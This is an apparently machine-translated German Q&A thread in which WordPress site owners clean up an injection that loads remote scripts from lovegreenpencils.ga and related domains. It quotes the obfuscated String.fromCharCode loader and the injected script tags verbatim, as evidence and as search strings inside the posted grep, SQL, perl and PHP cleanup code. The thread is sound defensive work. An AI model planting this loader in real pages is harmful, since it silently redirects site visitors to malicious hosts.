WordPress-Website mit Virus infiziert; Wie kann ich sichern oder wiederherstellen?

Lesezeit: 8 Minuten

Benutzer-Avatar
Gagandeep Singh

Meine WordPress-Websites sind mit Schadcode infiziert. Was kann ich tun, um Daten oder Backups wiederherzustellen? Websites zeigen eine leere Seite oder leiten zu einer bösartigen URL weiter. Der folgende Code (und ähnliches) wurde in viele Seiten eingefügt (es wurden auch viele Dateien mit unterschiedlichen Namen erstellt):

<script type="text/javascript" src="https://dock.lovegreenpencils.ga/m.js?n=nb5"></script>

<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>

Einige meiner infizierten Websites (Warnung: Besuch kann infizieren) :

https://lahuriyaconstruction.com/
GetNonVeg

Benutzer-Avatar
Marc-Simon Uhl

Auch hier – öffnen Sie Ihre Datenbank in phpmyadmin und geben Sie Folgendes in das SQL-Feld ein:

UPDATE wp_posts SET post_content = REPLACE(post_content,"<script src="https://dock.lovegreenpencils.ga/m.js?n=nb5" type="text/javascript"></script>",'') WHERE post_content LIKE '%lovegreenpencils%' 

Es werden alle Beiträge aus dem Skript gelöscht, aber Sie müssen schauen, woher die Einträge kommen.

Benutzer-Avatar
Ahmed Ibrahim

Ich habe dieses Problem mit mehr als 5 WordPress-Websites konfrontiert,

Ich habe es behoben, indem ich alle ersetzt habe dock.lovegreenpencils.ga Links mit “#”, damit es ins Nirgendwo zeigt.

1 . Führen Sie diesen Befehl in Ihrem WordPress-Verzeichnis aus

 grep -r "lovegreenpencils" .

Sie sollten alle infizierten Dateien sehen können:
Geben Sie hier die Bildbeschreibung ein

  1. Ersetzen Sie alle Links mit diesem Befehl
find . -name "*.php" |xargs sed -i "s/https:\/\/dock.lovegreenpencils.ga\/m.js?n=ns1/#/g"

Alle übereinstimmenden Skripte werden durch “#” ersetzt.

  1. Bereinigen Sie alle Skripts, die Ihrem WP-Inhalt hinzugefügt wurden
UPDATE wp_posts SET post_content = REPLACE(post_content,"<script src="https://dock.lovegreenpencils.ga/m.js?n=nb5" type="text/javascript"></script>",'') WHERE post_content LIKE '%lovegreenpencils%'

Links könnten mit enden m.js?n=nb5 oder m.js?n=ns1 vergiss nicht, beide zu entfernen.

AKTUALISIEREN:

DIESER Milkouse-Code generiert auch die Skript-URLs aus charCode Um nicht durchsuchbar zu sein.

String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115)

Stellen Sie sicher, dass Sie es auch loswerden.

URL aus Charcode generieren

Die obigen Schritte haben meine Website wieder zum Laufen gebracht.

  • Hinweis: Diese Malware hinterlässt auch eine Hülle, ich kompiliere alles, was ich finde hier. Fühlen Sie sich frei, alles hinzuzufügen, was Sie für wertvoll halten.

    – Wasserwelt

    6. Dezember 2020 um 5:50 Uhr


  • Hallo Ahmed, dein Beitrag hat mir sehr geholfen, ich konnte nur nicht herausfinden, wo du dieses Skript “String.fromCharCode()” findest? Ich habe meine DB und Dateien durchgesehen, konnte sie aber nirgendwo finden.

    – kajdzo

    13. Februar 2021 um 17:28 Uhr

Es gibt ein paar Dinge, die Sie tun können, um Ihre WordPress-Sites zu bereinigen:

1- Überprüfen Sie visuell Ihre public_html Ordner, in dem Ihr WordPress installiert ist. Möglicherweise sehen Sie auch in Ihrem Stammordner seltsame Dateinamen wp-includes, wp-content oder wp-admin Ordner und Unterordner.

2- Überprüfen Sie, ob Code eingefügt wurde index.php (im Stammordner) und wp-config.php

3- Installieren Wordfence plugin und führen Sie einen manuellen Scan durch. Es wird Ihre WordPress-Installation, Plugins und Designdateien durchgehen und alles Ungewöhnliche melden.

4- Aktualisieren Sie anschließend Ihre Seite mithilfe der Registerkarte „Netzwerk“ der Chrome Developer Tools und prüfen Sie, ob Verbindungen zu bösartig aussehenden URLs bestehen.

  • Entfernen Sie alle Plugins und Themes, die Sie nicht verwenden. Vertraue keiner .php-Datei unter deinem wp-content-Verzeichnis blind.

    – Iñigo González

    19. November 2020 um 14:55 Uhr

Hier ist das Skript, das ich erstellt habe, um die infizierten Dateien auf meinen Websites zu löschen …

Hoffentlich hilft es. Das ist alles, was ich für dich tun kann…

Wie bereits erwähnt, müssen Sie auch den Mist in post_content aus wp_posts mit dem folgenden SQL entfernen:

UPDATE wp_posts SET post_content = REPLACE(post_content,””,”) WHERE post_content LIKE ‘%lovegreenpencils%’

und fügen Sie Ihre Domain-URL in der Option siteurl/home unter wp_options wieder hinzu.

Speichern Sie den folgenden Code in einer PHP-Datei und ändern Sie die Einstellungen, damit er auf Ihrem System funktioniert.

<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('memory_limit',"256M");

ob_implicit_flush(1);

ob_start();

$backup_dir = "/var/badfiles";
$html_dir = "/var/www";

if(!is_dir($backup_dir)) mkdir($backup_dir);

$dir_iterator = new RecursiveDirectoryIterator($html_dir);
$iterator = new RecursiveIteratorIterator($dir_iterator, RecursiveIteratorIterator::SELF_FIRST);

foreach ($iterator as $file) {
   if($file == __FILE__) continue;

   if (pathinfo($file, PATHINFO_FILENAME) == "wp-beckup") {
    backup_file($file);
    if(unlink($file)) {
       echo "[LGP Found]: Removed and Backed Up ({$file})<br>";
    }
   }

   if (pathinfo($file, PATHINFO_FILENAME) == "lte_") {
        backup_file($file);
        if(unlink($file)) {
           echo "[LGP Found]: Removed and Backed Up ({$file})<br>";
        }
   }

$bad_text = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
if (pathinfo($file, PATHINFO_EXTENSION) == "php" ) {
        $contents = file_get_contents($file);

        if(strpos($contents, $bad_text) !== false) {

            backup_file($file);

            $contents = str_replace($bad_text, '', $contents);

            file_put_contents($file, $contents);

            echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
        }
}

   if (pathinfo($file, PATHINFO_EXTENSION) == "php" || pathinfo($file, PATHINFO_EXTENSION) == "html") {
    $bad_text = "<script type="text/javascript" src="https://dock.lovegreenpencils.ga/m.js?n=nb5"></script>";
    $contents = file_get_contents($file);

    if(strpos($contents, $bad_text) !== false) {

            backup_file($file);

        $contents = str_replace($bad_text, '', $contents);

        file_put_contents($file, $contents);

        echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
    }
   }

  $bad_text = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
   if (pathinfo($file, PATHINFO_EXTENSION) == "jshintrc" || pathinfo($file, PATHINFO_EXTENSION) == "map" || pathinfo($file, PATHINFO_EXTENSION) == "jsx" || pathinfo($file, PATHINFO_EXTENSION) == "php" || pathinfo($file, PATHINFO_EXTENSION) == "js" || pathinfo($file, PATHINFO_EXTENSION) == "gz" || pathinfo($file, PATHINFO_EXTENSION) == "json") {
        $contents = file_get_contents($file);

        if(strpos($contents, $bad_text) !== false) {

            backup_file($file);

            $contents = str_replace($bad_text, '', $contents);

            file_put_contents($file, $contents);

            echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
        }
   }






   if (pathinfo($file, PATHINFO_FILENAME) == "wp-blog-header" && pathinfo($file, PATHINFO_EXTENSION) == "php") {
      $contents = file_get_contents($file);

      if(strpos($contents, 'MDIzMjU4YmJlYjdjZTk1NWE2OTBkY2EwNTZiZTg4NWQ=') !== false) {
        backup_file($file);

    $contents = substr($contents, strpos($contents, "cGFnZV9ub3RfZm91bmRfNDA0")+32);

    file_put_contents($file, $contents);
        echo "[VCD Found]: Code Removed and Backed Up ({$file})<br>";
      }
   }

}

function backup_file($file) {
    global $backup_dir;

    $contents = file_get_contents($file);
        if(!is_dir(dirname($backup_dir.$file))) {
       mkdir(dirname($backup_dir.$file),0777,true);
    }
file_put_contents($backup_dir.$file, $contents);
}

BACKUP NICHT VERGESSEN!!

Ich bin auf diese Malware gestoßen und habe ein Skript geschrieben, um sie zu bereinigen. Hier ist der Link dazu: https://gist.github.com/black-dragon74/86fc18a91e814019228c02531f0ea01c

Bitte beachten Sie, dass sich diese Malware auch auf die DB ausbreitet. Um die DB zu bereinigen, befindet sich die Regex am Anfang der Datei. Oder Sie können einfach ausführen: perl -pi.bak -e "s/<script[\s\S]*?>[\s\S]*?<\/script>//g" infected_db.sql

Wenn Sie von anderen URLs erfahren, die böswillig injiziert werden, lassen Sie es mich bitte wissen, ich werde das Skript aktualisieren, um diese einzufügen.

Grüße

Benutzer-Avatar
Aadii Mogul

In meinem Fall hatte es viel Code, aus dem ich den gesamten Code aus der Spalte post_content kopiert habe wp_post oder your table name und durch alle ersetzen.

UPDATE wplm_posts SET post_content = REPLACE(post_content,"{{{WITHOUT BRACKET -- Your code here that is in Column Post_content}}}",'') WHERE post_content LIKE '%lovegreenpencils%' 

in meinem Fall mein Code in post_content Spalte war:

<script src="https://port.lovegreenpencils.ga/m.js?n=ns1" type="text/javascript"></script><script src="https://trend.linetoadsactive.com/m.js?n=ns1" type="text/javascript"></script><script src="https://start.transandfiestas.ga/m.js?n=ns1" type="text/javascript"></script>

Dieser Code ist für mich gearbeitet.

UPDATE wplm_posts SET post_content = REPLACE(post_content,"<script src="https://port.lovegreenpencils.ga/m.js?n=ns1" type="text/javascript"></script><script src="https://trend.linetoadsactive.com/m.js?n=ns1" type="text/javascript"></script><script src="https://start.transandfiestas.ga/m.js?n=ns1" type="text/javascript"></script>",'') WHERE post_content LIKE '%lovegreenpencils%' 

1383080cookie-checkWordPress-Website mit Virus infiziert; Wie kann ich sichern oder wiederherstellen?

This website is using cookies to improve the user-friendliness. You agree by using the website further.

Privacy policy